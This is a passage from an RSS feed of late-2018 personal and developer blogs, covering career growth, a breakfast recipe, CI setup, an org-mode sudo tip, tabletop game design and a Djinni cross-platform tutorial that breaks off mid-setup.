&lt;h3 id="meetups"&gt;Meetups&lt;/h3&gt;

&lt;p&gt;I’ve been attending &lt;a href="https://www.meetup.com/boulder_ruby_group/"&gt;Boulder.rb&lt;/a&gt; and &lt;a href="https://www.meetup.com/Denver-rb/"&gt;Denver.rb&lt;/a&gt; (and am considering starting a meetup in Golden!), and I’ve enjoyed those communities. Both are fairly time consuming, as I have to travel to the location mid-day to dodge rush hour, etc.&lt;/p&gt;

&lt;p&gt;I’m giving a talk at Boulder.rb in a few weeks, and hope to keep that trend rolling.&lt;/p&gt;

&lt;h3 id="teachinghelping-others"&gt;Teaching/helping others&lt;/h3&gt;

&lt;p&gt;I like helping others. In job hunts, salary negotiations, learning programming, rock climbing, and more.&lt;/p&gt;

&lt;p&gt;I’ve worked regularly with folks breaking into software development (Turing and non-Turing students) and I enjoy the process. It helps me stretch my empathy/teaching/understanding muscles, and I very much enjoy teaching, and seeing others make progress, so this is probably something I’ll continue for the rest of my career.&lt;/p&gt;

&lt;p&gt;I know that helping others is a part of growing in a career, but I’m not yet seeing where this interest of mine ties into helping my own skills grow.&lt;/p&gt;

&lt;p&gt;As our team at Wombat grows, I’ll get to step into a bit of a mentorship role there, but this opportunity brings this post full circle. I’m not yet exactly sure what I have to offer. Sure, I’ll be useful in them getting their environment set up, and wrapping their head around the code base, and making good PRs and stuff… but I’ve got a lot more I need to learn.&lt;/p&gt;

&lt;h3 id="additional-resources"&gt;Additional Resources&lt;/h3&gt;

&lt;p&gt;I’ve read all of this, and more, in pursuit of upping my skills.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.nateliason.com/blog/learning-plateau"&gt;How to Break Through Any Learning Plateau and Never Stop Growing (Nat Ellison)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.linkedin.com/pulse/want-happy-work-spend-time-learning-josh-bersin/"&gt;New Research Shows “Heavy Learners”​ More Confident, Successful, and Happy at Work (LinkedIn)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://slack.engineering/how-slack-supports-junior-engineers-89f6dcfe74a1"&gt;How Slack Supports Junior Engineers (Slack)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.eventbrite.com/engineering/how-to-support-junior-engineers/"&gt;How Your Company Can Support Junior Engineers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://jvns.ca/blog/senior-engineer/"&gt;What’s a senior engineer’s job? (Julia Evans)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.kitchensoap.com/2012/10/25/on-being-a-senior-engineer/"&gt;On Being A Senior Engineer (John Allspaw)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://lethain.com/career-narratives/"&gt;Career narratives. (Will Larson)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18128477&amp;amp;p=2"&gt;Ask HN: What is your best advice for a junior software developer?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Wed, 28 Nov 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growing-in-first-software-development-job</guid></item><item><title>The Cloud Is the New OS - A Developer's Perspective</title><link>https://jorin.me/the-cloud-is-the-new-os-a-developers-perspective/</link><description>It already happened a few times in the history of computing that the level of abstraction the majority of us work on has been raised.</description><author>jorin.me</author><pubDate>Wed, 28 Nov 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://jorin.me/the-cloud-is-the-new-os-a-developers-perspective/</guid></item><item><title>My Breakfast: A Recipe and a Ritual</title><link>https://benovermyer.com/blog/2018/11/my-breakfast-a-recipe-and-a-ritual/</link><description>&lt;p&gt;I like cooking. I'm not necessarily good at it, but it's fun to experiment and try new variations.&lt;/p&gt;
&lt;p&gt;This is a breakfast I prepare almost every morning. Each time I make it, I change something about it or try and focus on a specific technique. It's like a cooking kata. The repetition of most of it means that I'm not devoting brain time to anything other than the particular focus of the morning.&lt;/p&gt;
&lt;p&gt;Scrambling eggs is more of an art than you'd think. The butter is key to making great scrambled eggs. So is the figure-eight pattern. Some people add water or milk to the eggs before scrambling, but this isn't necessary and I feel that it negatively impacts the texture.&lt;/p&gt;
&lt;h1 id="ingredients"&gt;Ingredients&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;2 eggs, scrambled&lt;/li&gt;
&lt;li&gt;1 green bell pepper, washed, then julienned or diced&lt;/li&gt;
&lt;li&gt;1 large white onion, diced&lt;/li&gt;
&lt;li&gt;1 can of black beans, rinsed and drained&lt;/li&gt;
&lt;li&gt;1 cup of chunky salsa&lt;/li&gt;
&lt;li&gt;2 cloves of garlic, minced&lt;/li&gt;
&lt;li&gt;2 Tbsp olive oil&lt;/li&gt;
&lt;li&gt;1 Tbsp butter&lt;/li&gt;
&lt;li&gt;lime juice&lt;/li&gt;
&lt;li&gt;sea salt&lt;/li&gt;
&lt;li&gt;various spices&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="directions"&gt;Directions&lt;/h1&gt;
&lt;p&gt;Step Zero: Prepare all ingredients. Prepare your station. &lt;a href="https://www.npr.org/sections/thesalt/2014/08/11/338850091/for-a-more-ordered-life-organize-like-a-chef" rel="external"&gt;Mise en place&lt;/a&gt; is a vital part of this process.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Heat a nonstick pan on medium heat&lt;/li&gt;
&lt;li&gt;Add the olive oil and bring up to temperature. Don't let it smoke.&lt;/li&gt;
&lt;li&gt;Add the minced garlic. Toast it for just a few moments.&lt;/li&gt;
&lt;li&gt;Add the onion. Sauté until caramelized.&lt;/li&gt;
&lt;li&gt;Add the bell pepper. Sauté until slightly browned.&lt;/li&gt;
&lt;li&gt;Add the black beans. Throw in some spices and lime juice, stir, and let cook for a couple more minutes on medium.&lt;/li&gt;
&lt;li&gt;Reduce the heat on the veggies to low.&lt;/li&gt;
&lt;li&gt;Heat a second pan on medium heat.&lt;/li&gt;
&lt;li&gt;Melt the butter in the second pan. Don't let it brown.&lt;/li&gt;
&lt;li&gt;Add two generous pinches of sea salt to the eggs and stir.&lt;/li&gt;
&lt;li&gt;Add the eggs to the pan. Stir continuously in a figure-eight motion.&lt;/li&gt;
&lt;li&gt;Once the eggs have set, shut off heat to both pans.&lt;/li&gt;
&lt;li&gt;Plate. Eggs first, then veggies, then salsa.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Interesting variations that I've tried include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;garnishing with fresh cilantro&lt;/li&gt;
&lt;li&gt;using sour cream as a final topping&lt;/li&gt;
&lt;li&gt;stirring the eggs in a circular pattern instead of figure-eight&lt;/li&gt;
&lt;li&gt;adding sea salt to the veggies at varying times in the cooking&lt;/li&gt;
&lt;li&gt;adding fresh spinach to the veggies&lt;/li&gt;
&lt;li&gt;replacing black beans with chili beans&lt;/li&gt;
&lt;li&gt;replacing black beans with pinto beans&lt;/li&gt;
&lt;li&gt;using garam masala for the veggies&lt;/li&gt;
&lt;li&gt;putting all the ingredients in a flour tortilla instead of a bowl&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I'll continue to experiment and explore the possibilities of this dish.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Wed, 28 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/11/my-breakfast-a-recipe-and-a-ritual/</guid></item><item><title>Using Coroutines</title><link>https://prashamhtrivedi.in/coroutines.html</link><description>Coroutine is most powerful and natural way to process multithreading code. This post is excercept of the talk given to my team.</description><author>Prasham H Trivedi</author><pubDate>Wed, 28 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/coroutines.html</guid></item><item><title>Black Mirror - technology ethics and can it be used for wrong?</title><link>https://ilearnt.com/blog/blackmirrortesting/</link><description>&lt;p&gt;Nearly every technology that has been developed has been used for both good and bad. Developments that look like they could have a massive impact on civilization have usually also spun off a side effect that has a detrimental effect. This could be the latest technologies such as genetic engineering and artificial intelligence or older technologies such as the automobile.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 27 Nov 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/blackmirrortesting/</guid></item><item><title>A (long) guide to conversations</title><link>https://zrkrlc.com/notes/a-long-guide-to-conversations/1543316832/</link><description>NOTE: This was originally a Reddit essay. Please excuse the crude language aka "writing to your audience".I.</description><author>Junk Heap Homotopy</author><pubDate>Tue, 27 Nov 2018 13:07:12 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/a-long-guide-to-conversations/1543316832/</guid></item><item><title>Auto deploy Docker containers using a self hosted CI (Drone 1.0.0-rc.1) and a multi stage Dockerfile</title><link>https://jasonraimondi.com/posts/auto-deploy-docker-container-using-self-hosted-ci-drone-io-and-multi-stage-dockerfile/</link><description>&lt;p&gt;Drone.io is a great, Docker based alternative to Jenkins that is a lot like a self hosted alternative to TravisCI.&lt;/p&gt;
&lt;p&gt;For a while, Drone was relatively stable, versioned at 0.8. Recently, Drone is approaching version 1.0.0, so the API has changed a bit. Examples will be using the version 1.0.0-rc.1 markup and may change slightly as we approach the full version 1.0.0&lt;/p&gt;
&lt;h3 id="automating-with-drone"&gt;Automating With Drone&lt;/h3&gt;
&lt;p&gt;To configure drone with your repository, you need to activate the repository inside of your running Drone Server. The &lt;a href="https://docs.drone.io/intro/"&gt;installation documentation&lt;/a&gt; on the Drone website is straightforward, and will vary depending on the source code management system you use.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Tue, 27 Nov 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/auto-deploy-docker-container-using-self-hosted-ci-drone-io-and-multi-stage-dockerfile/</guid></item><item><title>Compromised npm Package: event-stream</title><link>https://medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502</link><author>Thomas Hunter II</author><pubDate>Tue, 27 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502</guid></item><item><title>Expert Excuses for Not Writing Unit Tests</title><link>https://boyter.org/posts/expert-excuses-for-not-writing-unit-tests/</link><description>&lt;p&gt;A while back I collected all of the fake Orly book covers I could find an posted them online &lt;a href="https://boyter.org/2016/04/collection-orly-book-covers/"&gt;https://boyter.org/2016/04/collection-orly-book-covers/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also mentioned that I was seriously considering writing content for the &amp;ldquo;Expert Excuses for Not Writing Unit Tests&amp;rdquo; one. I think I had this idea at the time that it was something I could potentially sell or use to raise my profile. Since I am not a comedy writer there is a market of about 0 people in the universe who would pay for content like this. I have no idea what I was thinking.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 27 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/expert-excuses-for-not-writing-unit-tests/</guid></item><item><title>How to get Google Home / Google Assistant to call your iOS iPhone</title><link>http://blog.pythonaro.com/2018/11/how-to-get-google-home-google-assistant.html</link><description>If you have an iPhone, Google Assistant and Google Home won't be able to call or ring your phone out of the box, since it's an Android-only feature. If you are not in the US, you cannot even use the workaround of calling your number. So what can you do, if you tend to misplace your phone around the house ? (ahem)&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Get an account on &lt;a href="https://ifttt.com/"&gt;IFTTT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Install the &lt;a href="https://itunes.apple.com/us/app/ifttt/id660944635"&gt;IFTTT app&lt;/a&gt; on your phone&lt;/li&gt;
&lt;li&gt;create a new applet, click on "&lt;i&gt;this&lt;/i&gt;" and select &lt;i&gt;&lt;b&gt;Google Assistant&lt;/b&gt;&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;select "&lt;i&gt;say a simple phrase&lt;/i&gt;"&amp;nbsp; and enter the details you prefer (e.g. "make a noise on my phone" or "ping my phone". Note the most common "ring my phone" or "where is my phone" are reserved by Google and won't work).&lt;/li&gt;
&lt;li&gt;click on "&lt;i&gt;then&lt;/i&gt;" and select &lt;i&gt;&lt;b&gt;VoIP Calls&lt;/b&gt;&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;enter a message the phone will tell you if you pick up (e.g. "Glad you found me!")&lt;/li&gt;
&lt;li&gt;Save the applet.&lt;/li&gt;
&lt;/ol&gt;
Now, when you say that phrase to Google Home / Goole Assistant, it will ring your phone, so you can dig it out of the sofa or the Lego box (ahem).</description><author>Subclassed</author><pubDate>Mon, 26 Nov 2018 16:41:57 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/11/how-to-get-google-home-google-assistant.html</guid></item><item><title>Antilibrary - should I finish the book I am reading?</title><link>https://ilearnt.com/blog/antilibrary/</link><description>&lt;p&gt;I read a lot of books and once I start reading a book I normally finish it. This article proposes that it may be more valuable to have a bunch of books that are unread. Not sure I completely buy in to the proposition that &amp;ldquo;Read books are far less valuable than unread ones&amp;rdquo; however maybe I won&amp;rsquo;t feel so guilty buying a book and then leaving it unread.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 26 Nov 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/antilibrary/</guid></item><item><title>Vegan French Onion Dip</title><link>https://www.ryanliptak.com/blog/vegan-french-onion-dip/</link><description>Recipe for simple vegan french onion dip without a spice mix packet</description><author>ryanliptak.com</author><pubDate>Mon, 26 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.ryanliptak.com/blog/vegan-french-onion-dip/</guid></item><item><title>Lazy loading (and preloading) components in React 16.6</title><link>https://medium.com/hackernoon/lazy-loading-and-preloading-components-in-react-16-6-804de091c82d</link><author>Rodrigo Pombo</author><pubDate>Mon, 26 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/hackernoon/lazy-loading-and-preloading-components-in-react-16-6-804de091c82d</guid></item><item><title>Fuzzball Desktop Automation</title><link>https://peterlyons.com/problog/2018/11/fuzzball-desktop-automation/</link><description>&lt;p&gt;Here's a screencast of my fuzzball desktop automation system. The &lt;a href="https://gist.github.com/focusaurus/506fff3d849bd167c5c809f2f12815e1"&gt;accompanying gist is here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="youtube-video-container"&gt;

&lt;/div&gt;</description><author>Pete's Points</author><pubDate>Sun, 25 Nov 2018 20:53:13 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/11/fuzzball-desktop-automation/</guid></item><item><title>Avahi "Host name conflict" in FreeBSD jail</title><link>https://www.davidschlachter.com/misc/freebsd_avahi_jails</link><description>Turns out only one FreeBSD jail per network interface can run Avahi at the same time.</description><author>David Schlachter</author><pubDate>Sun, 25 Nov 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/freebsd_avahi_jails</guid></item><item><title>Die Metapher der Stadt für das Bauen und Betreiben von Softwareprodukten</title><link>https://manuel.kiessling.net/2018/11/25/metapher-stadt-fuer-bauen-und-betreiben-von-software-produkten/</link><description>In der Branche des Softwarebauens wird gerne mit Metaphern gearbeitet, um die eigene Tätigkeit anschaulich und greifbar zu machen.
Dazu gehört auch, den handelnden Personen verschiedene Rollen zuzuweisen. Klassische Beispiele sind die Software-ArchitektInnen, die ähnlich den ArchitektInnen von Bauwerken das große Ganze im Blick haben sollen und dafür zuständig sind, grobe bis detaillierte Pläne und Rahmenbedingungen aufzustellen, in deren Grenzen solide Softwareprodukte einerseits möglichst effizient gebaut werden können, durch die aber andererseits einfache Erweiterungsfähigkeit, eine langfristige Stabilität im Betrieb, gute Wartbarkeit und hohe Sicherheit dieser Softwareprodukte gewährleistet sein soll.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Sun, 25 Nov 2018 14:21:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2018/11/25/metapher-stadt-fuer-bauen-und-betreiben-von-software-produkten/</guid></item><item><title>Networking Essentials: Network Security</title><link>https://www.swyx.io/networking-essentials-network-security-1fcp</link><description>&lt;p&gt;What is Traffic Engineering?&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sun, 25 Nov 2018 03:43:21 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-network-security-1fcp</guid></item><item><title>Hawaii</title><link>https://faingezicht.com/photos/2018/11/25/hawaii/</link><description>A few weeks ago, Hannah had to go to Hawaii for work, and asked if I wanted to tag along. The tickets were cheap, so I said why not! I had low expectations, beacuse how much better could the beaches be than the ones I grew up going to in Costa Rica? I'd say they are different enough, and cool in orthogonal directions - the cultural and historical context are totally different.</description><author>Avy Faingezicht</author><pubDate>Sun, 25 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/11/25/hawaii/</guid></item><item><title>2018-11-25</title><link>https://ho.dges.online/pictures/2018-11-25/</link><description>&lt;p&gt;❤️&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 25 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-11-25/</guid></item><item><title>Types of Development</title><link>https://boyter.org/posts/types-of-development/</link><description>&lt;h3 id="types-of-development-1"&gt;Types of Development #1&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Rage driven development&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Where an existing application/process causes one to rage so hard you spend the next 6 weeks over-engineering a solution to solve a simple problem. Example Perl.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id="types-of-development-2"&gt;Types of Development #2&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Test driven development&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Where previous projects and death marches result in a violent reaction of over-correcting for past failures and everything must be tested dammit. Example includes any project where the goal is 100% test coverage.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sun, 25 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/types-of-development/</guid></item><item><title>Install stand-alone 1Password from App Store on iOS</title><link>https://www.davidschlachter.com/misc/1password-ios-standalone</link><description>How to install 1Password 7 stand-alone version on your iPad or iPhone, without a subscription.</description><author>David Schlachter</author><pubDate>Sat, 24 Nov 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/misc/1password-ios-standalone</guid></item><item><title>Execute org blocks as root</title><link>https://xenodium.com/execute-org-blocks-as-root</link><description>&lt;p&gt;Been saving admin code snippets in my own &lt;a href="https://orgmode.org/manual/Working-with-source-code.html"&gt;org source blocks&lt;/a&gt;, some requiring root access. Handy for keeping tiny self-documented scripts to easily bootstrap other machines. TIL org source block's &lt;em&gt;:dir&lt;/em&gt; argument can be used to run block as root by using tramp syntax: /:dir &lt;em&gt;sudo::&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-org"&gt;
As user:

#+BEGIN_SRC sh
  whoami
#+END_SRC

#+RESULTS:
: user

As root:

#+BEGIN_SRC sh :dir /sudo::
  whoami
#+END_SRC

#+RESULTS:
: root

&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 24 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/execute-org-blocks-as-root</guid></item><item><title>Designing an OSR Game Part 3: Names, Backgrounds, and Playtests</title><link>https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-3/</link><description>&lt;p&gt;This is part three in a series of posts about designing a new OSR game. You can find the previous two here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://benovermyer.com/blog/2018/10/designing-a-new-osr-game/"&gt;Designing a New OSR Game&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-2/"&gt;Designing an OSR Game Part 2: Freeholds and Fatality&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;img alt="An image of the logo for Mysteries of a Broken World" class="photo" src="https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-3/Mysteries-logo-small.png" /&gt;
&lt;p&gt;Since the last post, I've been doing a fair amount of work on the OSR game. Enough that it now has a title: Mysteries of a Broken World. The logo above is the official one for the line.&lt;/p&gt;
&lt;p&gt;That first bit of news is probably the most milestone-y. I've also fleshed out more of the rules, mostly around character creation. While it's going to be a work in progress for quite awhile, you can view the latest playtest version of the rules here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://benovermyer.com/rpg/mysteries/" rel="external"&gt;Mysteries of a Broken World&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The above document is regenerated every time I make a change to the manuscript. It has the generation date in the header, for reference.&lt;/p&gt;
&lt;p&gt;Everything is still in flux. I have the classes and races roughed out, though I need to work on all of them. I ended up throwing out the magic-via-spellstones idea in favor of a more traditional spell list system. Each magic-using class only has a handful of spell lists that they can access. The lore rationale for this is that some people are attuned to a specific kind of magic, and only those attuned to it can understand and use it.&lt;/p&gt;
&lt;p&gt;I added "backgrounds" to the game also. It's meant to give a little color to brand-new characters, and can offer some inspiration for a character's non-adventuring abilities. I may add descriptions for each background to the rules for further inspiration, or I may leave it as just a table. That remains to be seen.&lt;/p&gt;
&lt;p&gt;The method of rolling ability scores is firmly in the game now. They are as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Roll 3d6 for each ability, in order.&lt;/li&gt;
&lt;li&gt;You may:
&lt;ol&gt;
&lt;li&gt;Swap two numbers once, OR&lt;/li&gt;
&lt;li&gt;Re-roll all six numbers once&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This gives what I feel is an appropriate amount of randomness, while also offering a way out for awful sets.&lt;/p&gt;
&lt;p&gt;I'm toying with the idea of having an appendix in the rules that lists out several tables for random generation of character attributes like personality traits and so forth.&lt;/p&gt;
&lt;p&gt;For the last bit of news, I'm going to start looking for people to playtest Mysteries soon (in the first couple weeks of December 2018). For inquiries on that, write to ben@overmyer.net with the subject header "Playtesting Mysteries of a Broken World."&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sat, 24 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-3/</guid></item><item><title>Cross platform mobile development with Djinni</title><link>https://whackylabs.com/djinni/cpp/ios/android/2018/11/23/cross-platform-cpp/</link><description>&lt;h2 id="motivation"&gt;Motivation&lt;/h2&gt;

&lt;p&gt;One of my last years goal was to make a Android app. It just occurred to me that even though I had been making app for such a long time, I had never made an Android. The app that I eventually made was far from being anything but glorious. It was just a empty with a label saying &lt;strong&gt;Hello World&lt;/strong&gt;. Nonetheless, it was a milestone of my career. I should also mention, that being a Java illiterate I wrote that app in C++, so most my time was actually spent fighting with the JNI.&lt;/p&gt;

&lt;p&gt;To continue the story, this year I want to make a cross platform app. Like one codebase that runs on both iOS and Android. I’ll be using C++ as much as I can. I’ve heard &lt;a href="https://slack.engineering/libslack-the-c-library-at-the-foundation-of-our-client-application-architecture-97470b5ef9b3"&gt;good&lt;/a&gt; &lt;a href="https://pspdfkit.com/blog/2016/a-pragmatic-approach-to-cross-platform/"&gt;things&lt;/a&gt; about the &lt;a href="https://github.com/dropbox/djinni"&gt;Djinni from Dropbox&lt;/a&gt;, so I’ll try that.&lt;/p&gt;

&lt;h2 id="hello-djinni"&gt;Hello Djinni&lt;/h2&gt;

&lt;p&gt;I’ve already seen the &lt;a href="https://www.youtube.com/watch?v=ssqhz_1pPI4"&gt;CppCon 2017&lt;/a&gt; and &lt;a href="https://bit.ly/djinnivideo"&gt;CppCon 2014&lt;/a&gt; videos already. I found &lt;a href="http://mobilecpptutorials.com"&gt;this awesome&lt;/a&gt; tutorial which I would be following and see how it goes.&lt;/p&gt;

&lt;p&gt;The first part is setting up. If you already have Android studio set up, good, otherwise be prepared to spend half a day setting up the system. But, on the bright side everything works as documented, no random issues. The real game begins when everything is setup.&lt;/p&gt;

&lt;p&gt;For testing the water, I cloned the Djinni from the repo and tried running it for a simple interface:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;photoapp = interface +c {
  static create(): photoapp;
  get_photoapp(): string;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With a simple command&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;../djinni/src/run \
   --java-out $java_out \
   --java-package $java_package \
   --ident-java-field mFooBar \
   --cpp-out $cpp_out \
   --cpp-namespace $namespace \
   --jni-out $jni_out \
   --ident-jni-class NativeFooBar \
   --ident-jni-file NativeFooBar \
   --objc-out $objc_out \
   --objc-type-prefix $objc_prefix \
   --objcpp-out $objc_out \
   --idl $djinni_file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And after downloading a bunch of more stuff, it chokes on some random &lt;code class="language-plaintext highlighter-rouge"&gt;Unresolved dependencies&lt;/code&gt; error. Retrying with sudo does not help either. From what I understand, the Djinni is build with Scala and there is this sbt that builds the projects. When running the packaged &lt;code class="language-plaintext highlighter-rouge"&gt;./src/build&lt;/code&gt;, the installer hangs on some dependency issues. Next step could be try building directly with &lt;a href="https://www.scala-sbt.org/"&gt;sbt&lt;/a&gt; with&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;sbt@1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, I would try running the installer directly.&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;sbt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This, launches the interactive shell. After loading the setting for the current Djinni project, the shell waits for me provide inputs.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; help
  tasks                                   Lists the tasks defined for the current project.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This sounds promosing.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  compile          Compiles sources.
[success] Total time: 32 s, completed Nov 24, 2018 3:22:17 PM
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, the war with installing Djinni seems to be over. Next up making the actual app.&lt;/p&gt;

&lt;h2 id="setting-up-the-structure"&gt;Setting up the structure&lt;/h2&gt;

&lt;p&gt;The first question I’ve is to figure out how the file system looks like with a cross platform app. This is how the example app seems to be laid out.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;photoapp.djinni 	; Djinni input IDL file
generated-src/		; Djinni output
handwritten-src/	; Shared implementation
android/			; Android app
ios/				; iOS app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I like this, except I would like to wrap all common parts in one directory. Something like:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;shared/photoapp.djinni 		; Djinni input IDL file
shared/generated-src/		; Djinni output
shared/handwritten-src/		; Shared implementation
android/					; Android app
ios/						; iOS app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After a simple run, the &lt;code class="language-plaintext highlighter-rouge"&gt;ls -R&lt;/code&gt; looks like:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;shared

./shared:
generated-src   photoapp.djinni run_djinni.sh

./shared/generated-src:
cpp  java jni  objc

./shared/generated-src/cpp:
photoapp.hpp

./shared/generated-src/java:
com

./shared/generated-src/java/com:
whackylabs

./shared/generated-src/java/com/whackylabs:
photoapp

./shared/generated-src/java/com/whackylabs/photoapp:
Photoapp.java

./shared/generated-src/jni:
NativePhotoapp.cpp NativePhotoapp.hpp

./shared/generated-src/objc:
PAPhotoapp+Private.h  PAPhotoapp+Private.mm PAPhotoapp.h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My first struggle is what editor to open the files in. I know at some point I’m going to create a Xcode project, so I can do that right now. The problem I have with editing standalone files is that they do not get any Xcode magic, no autocompletion or even good syntax highlighting. It is almost same as editing in a Notepad. We can think of the codebase composed of 3 independent components:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;PhotoAppLib: C++ library&lt;/li&gt;
  &lt;li&gt;PhotoApp iOS: iOS client&lt;/li&gt;
  &lt;li&gt;PhotoApp Android: Android client&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With that in place, this is how the structure looks like:&lt;/p&gt;

